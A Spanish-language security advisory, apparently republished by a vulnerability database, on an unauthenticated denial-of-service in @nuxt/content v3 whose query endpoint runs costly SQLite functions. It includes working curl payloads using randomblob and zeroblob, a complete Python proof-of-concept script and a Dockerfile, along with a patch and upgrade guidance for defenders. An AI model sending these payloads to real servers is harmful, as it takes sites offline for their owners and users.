Nuxt Content: Denegación de servicio no autenticada mediante funciones SQLite en la API de consultas de contenido
Resumen
El endpoint POST /__nuxt_content/:collection/query en @nuxt/content acepta un campo sql controlado por el atacante desde el cuerpo de la solicitud HTTP y lo ejecuta contra una base de datos local SQLite tras pasarlo por un validador insuficiente (assertSafeQuery). El validador solo bloquea un conjunto reducido de palabras clave de comandos SQL y no rechaza funciones integradas costosas de SQLite como randomblob(), zeroblob(), hex() o length(). Un atacante remoto no autenticado puede enviar una única solicitud que obligue a SQLite a asignar cientos de megabytes de memoria y realizar un procesamiento intensivo de CPU, provocando una denegación de servicio en todo el servidor. Este endpoint está habilitado de forma predeterminada para cada colección y no requiere autenticación.
Detalles
La vulnerabilidad abarca tres archivos de origen:
Registro de ruta — src/module.ts:207-208
El módulo Nuxt Content registra un manejador público HTTP POST para cada colección configurada durante el inicio:
// src/module.ts:207-208
addServerHandler({
route: `/__nuxt_content/${collection.name}/query`,
handler: resolver.resolve('./runtime/api/query.post'),
})
No se asocia ningún middleware de autenticación; cualquier cliente puede alcanzar la ruta.
Origen (entrada del atacante) — src/runtime/api/query.post.ts:7-9
// src/runtime/api/query.post.ts
const { sql } = await readBody(event) // line 8 — attacker-controlled
assertSafeQuery(sql, collection) // line 11 — insufficient validation
return loadDatabaseAdapter(conf).all(sql) // line 18 — raw sql passed to sink
Sanitizador inadecuado — src/runtime/internal/security.ts:55-63
if (where) {
const noString = cleanupQuery(where, { removeString: true })
if (noString.match(SQL_COMMANDS)) { // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
}
// No rejection of function calls (randomblob, zeroblob, hex, length, …)
}
La lista de denegación solo coincide con seis palabras clave DDL/DML. Las funciones de alto consumo de recursos de SQLite (randomblob, zeroblob, hex, length) no coinciden con las palabras clave de la expresión regular y, por lo tanto, superan la validación incondicionalmente.
Sumidero (sink) — src/runtime/internal/database.server.ts:26-28
all: async (sql, params = []) => {
return db.prepare(sql).all(...params) // executes the unmodified attacker sql
}
prepare().all() de better-sqlite3 es una llamada sincrónica que bloquea el bucle de eventos de Node.js durante toda la duración de la consulta SQLite. En consecuencia, una sola solicitud maliciosa detiene el procesamiento de todas las solicitudes concurrentes.
Resumen de la cadena de ataque:
Attacker HTTP POST (sql field)
→ query.post.ts readBody() [source]
→ assertSafeQuery() — BYPASS [insufficient validation]
→ loadDatabaseAdapter().all(sql) [propagation]
→ db.prepare(sql).all() [sink — synchronous, blocks event loop]
PoC
Configuración del entorno
git clone https://github.com/nuxt/content.git
cd content
git checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e
pnpm install
pnpm dev:prepare
cd test/fixtures/basic
pnpm dev --host 127.0.0.1 --port 3000
Paso 1 — Establecer línea base (consulta segura)
curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
-X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
-H 'content-type: application/json' \
--data '{"sql":"SELECT * FROM _content_content WHERE (id = '"'"'1'"'"') ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~0.009s
Paso 2 — Carga útil de ataque (variante randomblob)
curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \
-X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \
-H 'content-type: application/json' \
--data '{"sql":"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) > 0) ORDER BY stem ASC LIMIT 1"}'
# Expected: status=200 time=~2.25s (~598 MB RSS during execution)
La carga útil supera assertSafeQuery() porque la cláusula WHERE no contiene palabras clave bloqueadas. Luego, SQLite:
- Asigna 200 MB de bytes aleatorios mediante
randomblob(200000000) - Codifica el resultado en hexadecimal a una cadena ASCII de 400 MB mediante
hex() - Calcula la longitud de la cadena mediante
length()
Paso 3 — Variante zeroblob (centrada en asignación de memoria)
--data '{"sql":"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1"}'
# 1 GB allocation; may trigger OOM termination
PoC automatizado (Docker)
# Build and run the reproduction container
docker build -f vuln-001/Dockerfile -t vuln001:latest \
reports/github_web_211_nuxt__content
docker run -d -p 3000:3000 --name vuln001-container vuln001:latest
# Run the PoC script (requires Python 3, no third-party packages)
python3 vuln-001/poc.py --host 127.0.0.1 --port 3000
Resultado de reproducción dinámica (phase2):
| Métrica | Valor |
|---|---|
| Tiempo de respuesta de línea base | 0.0088 s |
| Tiempo de respuesta bajo ataque | 11.82 s |
| Relación de ralentización | 1339× |
| Estado HTTP del ataque | 200 (no rechazado) |
El bucle de eventos de Node.js se bloqueó durante toda la duración de cada solicitud de ataque, lo que se confirmó por la ausencia total de rendimiento de solicitudes concurrentes durante el ataque.
Parche propuesto — src/runtime/internal/security.ts
const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i
+const SQL_WHERE_ALLOWED_TOKENS = new Set(['AND', 'OR', 'IN', 'NOT', 'BETWEEN', 'LIKE', 'IS', 'NULL'])
const noString = cleanupQuery(where, { removeString: true })
if (noString.match(SQL_COMMANDS)) {
throw new Error('Invalid query: WHERE clause contains unsafe SQL commands')
}
+ const tokens = noString.match(/[A-Z_]\w*/gi) || []
+ if (tokens.some(token => !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) {
+ throw new Error('Invalid query: WHERE clause contains unsafe SQL expressions')
+ }
}
Impacto
Se trata de una vulnerabilidad de denegación de servicio remota y no autenticada. Cualquier aplicación @nuxt/content accesible desde Internet que utilice el adaptador SQLite/D1 por defecto (es decir, la gran mayoría de las implementaciones, ya que es el entorno de ejecución predeterminado) expone el endpoint vulnerable sin autenticación en POST /__nuxt_content/<collection>/query.
Dado que better-sqlite3 ejecuta las consultas sincrónicamente y bloquea el bucle de eventos de Node.js, una sola solicitud maliciosa con un argumento randomblob() grande impide que el servidor procese cualquier otra solicitud mientras dure dicha consulta. Un atacante que envíe un flujo continuo de estas solicitudes puede sostener una denegación de servicio completa con un ancho de banda mínimo.
Alcance del impacto:
- Confidencialidad: Ninguna — el ataque no exfiltra datos
- Integridad: Ninguna — sin modificación de datos
- Disponibilidad: Alta — interrupción total del servicio para atacantes no autenticados con acceso de red
Todos los usuarios de aplicaciones @nuxt/content v3 desplegadas públicamente (SSR o sitios estáticos renderizados en el servidor que conserven la ruta de la API) se ven afectados sin necesidad de autenticación previa ni conocimiento previo de la aplicación.
Artefactos de reproducción
Dockerfile
# VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API
# Affects: @nuxt/content v3.15.1 (commit d8fed0c)
#
# Build context must be the parent directory (github_web_211_nuxt__content/):
# docker build -f vuln-001/Dockerfile -t vuln001:latest .
FROM node:20-alpine
# Install build tools required for better-sqlite3 native compilation
RUN apk add --no-cache python3 make g++
WORKDIR /app
# Copy the vulnerable source files from the repo for audit reference
# These are the exact files that contain the vulnerable code paths
COPY repo/src/runtime/internal/security.ts /app/reference/security.ts
COPY repo/src/runtime/api/query.post.ts /app/reference/query.post.ts
COPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts
# Copy the minimal reproduction server (JavaScript translation of the above)
COPY vuln-001/server.js /app/server.js
# Install Node.js dependencies
# better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter
RUN npm init -y && npm install better-sqlite3@12.5.0
EXPOSE 3000
CMD ["node", "server.js"]
poc.py
#!/usr/bin/env python3
"""
PoC: VULN-001 — Unauthenticated SQLite Function DoS via @nuxt/content Content Query API
Vulnerability: The POST /__nuxt_content/:collection/query endpoint reads an
attacker-supplied 'sql' field from the request body, passes it through
assertSafeQuery() in security.ts, then executes it via better-sqlite3.
assertSafeQuery() only rejects certain SQL command keywords
(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite
built-in functions such as randomblob(), zeroblob(), hex(), or length().
Attack payload: SELECT * FROM _content_content
WHERE (length(hex(randomblob(100000000))) > 0)
ORDER BY stem ASC LIMIT 1
This forces SQLite to:
1. Allocate 100 MB of random bytes via randomblob(100000000)
2. Hex-encode the result to a 200 MB ASCII string via hex()
3. Compute the string length via length()
The request blocks the server thread for several seconds per request.
Repeated unauthenticated requests exhaust CPU and memory, causing DoS.
Affected: @nuxt/content v3.15.1 (commit d8fed0c)
Source: src/runtime/internal/security.ts:55-63
src/runtime/api/query.post.ts:8,11,18
src/runtime/internal/database.server.ts:27
CVSS: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
"""
import argparse
import json
import sys
import time
import urllib.error
import urllib.request
DEFAULT_HOST = '127.0.0.1'
DEFAULT_PORT = 3000
# Time threshold: attack must be at least this many seconds slower than baseline
ATTACK_MIN_SECONDS = 0.5
# SQL payloads
SAFE_SQL = (
"SELECT * FROM _content_content "
"WHERE (id = '1') "
"ORDER BY stem ASC LIMIT 1"
)
# Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation.
# randomblob(100_000_000) -> 100 MB allocation
# hex(...) -> 200 MB hex string
# length(...) -> string length computation
MALICIOUS_SQL = (
"SELECT * FROM _content_content "
"WHERE (length(hex(randomblob(100000000))) > 0) "
"ORDER BY stem ASC LIMIT 1"
)
# Zeroblob variant (allocation-focused, less CPU than hex):
ZEROBLOB_SQL = (
"SELECT * FROM _content_content "
"WHERE (zeroblob(500000000) IS NOT NULL) "
"ORDER BY stem ASC LIMIT 1"
)
def post_query(host, port, sql, timeout=120):
"""Send POST /__nuxt_content/content/query and return (status, elapsed, body)."""
payload = json.dumps({"sql": sql}).encode("utf-8")
req = urllib.request.Request(
f"http://{host}:{port}/__nuxt_content/content/query",
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
t0 = time.monotonic()
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
elapsed = time.monotonic() - t0
body = resp.read().decode("utf-8")
return resp.status, elapsed, body
except urllib.error.HTTPError as e:
elapsed = time.monotonic() - t0
body = e.read().decode("utf-8")
return e.code, elapsed, body
except Exception as e:
elapsed = time.monotonic() - t0
return None, elapsed, str(e)
def wait_for_server(host, port, retries=30, delay=1.0):
"""Poll until the server responds or timeout."""
print(f"[*] Waiting for server at {host}:{port} ...")
for attempt in range(1, retries + 1):
try:
urllib.request.urlopen(
f"http://{host}:{port}/", timeout=2
)
except urllib.error.HTTPError:
# Any HTTP response (including 404) means the server is up
print(f"[+] Server is ready (attempt {attempt})")
return True
except Exception:
pass
time.sleep(delay)
print(f"[!] Server did not become ready after {retries} attempts")
return False
def main():
parser = argparse.ArgumentParser(
description="VULN-001 PoC: SQLite Function DoS via @nuxt/content query API"
)
parser.add_argument("--host", default=DEFAULT_HOST, help="Target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 3000)")
parser.add_argument(
"--no-wait",
action="store_true",
help="Skip server readiness check (useful when server is already running)",
)
args = parser.parse_args()
host, port = args.host, args.port
print("=" * 70)
print("VULN-001: Unauthenticated SQLite Function DoS")
print("Target: @nuxt/content v3.15.1 — POST /__nuxt_content/:collection/query")
print("=" * 70)
if not args.no_wait:
if not wait_for_server(host, port):
sys.exit(2)
# ------------------------------------------------------------------
# Step 1: Safe baseline query — validates endpoint is reachable
# ------------------------------------------------------------------
print()
print("[STEP 1] Baseline safe query")
print(f" SQL: {SAFE_SQL}")
status1, t1, body1 = post_query(host, port, SAFE_SQL)
print(f" Status: {status1} Time: {t1:.4f}s")
if status1 == 200:
rows1 = json.loads(body1)
print(f" Rows returned: {len(rows1)}")
else:
print(f" Response: {body1[:200]}")
# ------------------------------------------------------------------
# Step 2: Malicious payload — SQLite function DoS
# ------------------------------------------------------------------
print()
print("[STEP 2] Malicious SQLite function payload")
print(f" SQL: {MALICIOUS_SQL}")
print(" Explanation:")
print(" randomblob(100000000) -> allocates 100 MB of random bytes")
print(" hex(...) -> encodes to 200 MB ASCII string")
print(" length(...) -> forces full evaluation before comparison")
print(" assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE")
print(" Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally")
print()
print(" Sending request ...")
status2, t2, body2 = post_query(host, port, MALICIOUS_SQL)
print(f" Status: {status2} Time: {t2:.4f}s")
if status2 == 200:
rows2 = json.loads(body2)
print(f" Rows returned: {len(rows2)} (assertSafeQuery() did NOT reject this query)")
else:
print(f" Response: {body2[:200]}")
# ------------------------------------------------------------------
# Step 3: Report
# ------------------------------------------------------------------
print()
print("[RESULT]")
print(f" Baseline time : {t1:.4f}s")
print(f" Attack time : {t2:.4f}s")
ratio = (t2 / t1) if t1 > 0 else float("inf")
print(f" Slowdown ratio : {ratio:.1f}x")
print()
accepted = status2 == 200
slow_enough = t2 >= ATTACK_MIN_SECONDS
if accepted and slow_enough:
print("[PASS] VULNERABILITY CONFIRMED")
print(f" 1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)")
print(f" 2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time")
print(f" 3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s")
print(f" 4. Unauthenticated attacker can chain requests to exhaust server CPU/memory")
sys.exit(0)
elif accepted and not slow_enough:
print("[WARN] Payload was ACCEPTED but execution was faster than threshold")
print(f" accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s")
print(" Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)")
sys.exit(1)
else:
print(f"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s")
print(f" Response body: {body2[:300]}")
sys.exit(1)
if __name__ == "__main__":
main()
Versiones afectadas
Todas las versiones de @nuxt/content v3 anteriores a 3.15.2 están afectadas (>= 3.0.0, < 3.15.2). El informe se reprodujo en 3.15.1, pero la misma brecha de validación de la cláusula WHERE existe en todas las versiones v3 anteriores; 3.0.0 no realizaba ninguna validación de consultas.
Las implementaciones totalmente estáticas (prerenderizadas, sin servidor) no se ven afectadas.
Parches
Corregido en 3.15.2 (#3819): se rechazan las llamadas a funciones en las cláusulas WHERE de consulta. Las versiones posteriores refuerzan la validación: 3.16.1 elimina un ReDoS en assertSafeQuery (#3851) y 3.16.2 solo acepta cláusulas WHERE que coincidan con la salida exacta del generador de consultas (#3862, #3877). Se recomienda actualizar a la versión más reciente (>= 3.16.2).
Mitigaciones alternativas
Si no puede actualizar, bloquee o restrinja el acceso a POST /__nuxt_content/*/query a nivel de proxy/WAF, o prerenderice el sitio para que el endpoint no se despliegue.
Créditos
Reportado también de forma independiente por @Pig-Tail (GHSA-c739-vwm9-rgx3) y @maru1009 (como parte de GHSA-wjh8-qcrm-wf29).
Qué hacer
Actualice a 3.15.2 (#3819) o posterior. En esta versión se rechazan las llamadas a funciones en las cláusulas WHERE de consulta. Las versiones posteriores refuerzan la validación: 3.16.1 elimina un ReDoS en assertSafeQuery (#3851) y 3.16.2 solo acepta cláusulas WHERE que coincidan con la salida exacta del generador de consultas (#3862, #3877). Se recomienda actualizar a la versión más reciente (>= 3.16.2).
Si no es posible actualizar, bloquee o restrinja el acceso a POST /__nuxt_content/*/query a nivel de proxy o WAF, o preprocese (prerender) el sitio de modo que el endpoint no sea implementado.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @nuxt/content | >= 3.0.0, < 3.15.2 | 3.15.2 |
Referencias
- https://github.com/nuxt/content/security/advisories/GHSA-xxrh-5hgg-gj4h
- https://nvd.nist.gov/vuln/detail/CVE-2026-102650
- https://github.com/nuxt/content/pull/3819
- https://github.com/nuxt/content/commit/847d523a48e76d861175b325abf0de40dc5864ed
- https://github.com/nuxt/content
- https://github.com/nuxt/content/releases/tag/v3.15.2
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-400, CWE-770- Plataforma
- npm
- Paquete
@nuxt/content- Publicada
- 10.11.2026
- Actualizado
- 11.11.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-xxrh-5hgg-gj4h - CC BY 4.0
Historial de vulnerabilidades: @nuxt/content
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
Esta es la única vulnerabilidad conocida de este paquete.
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.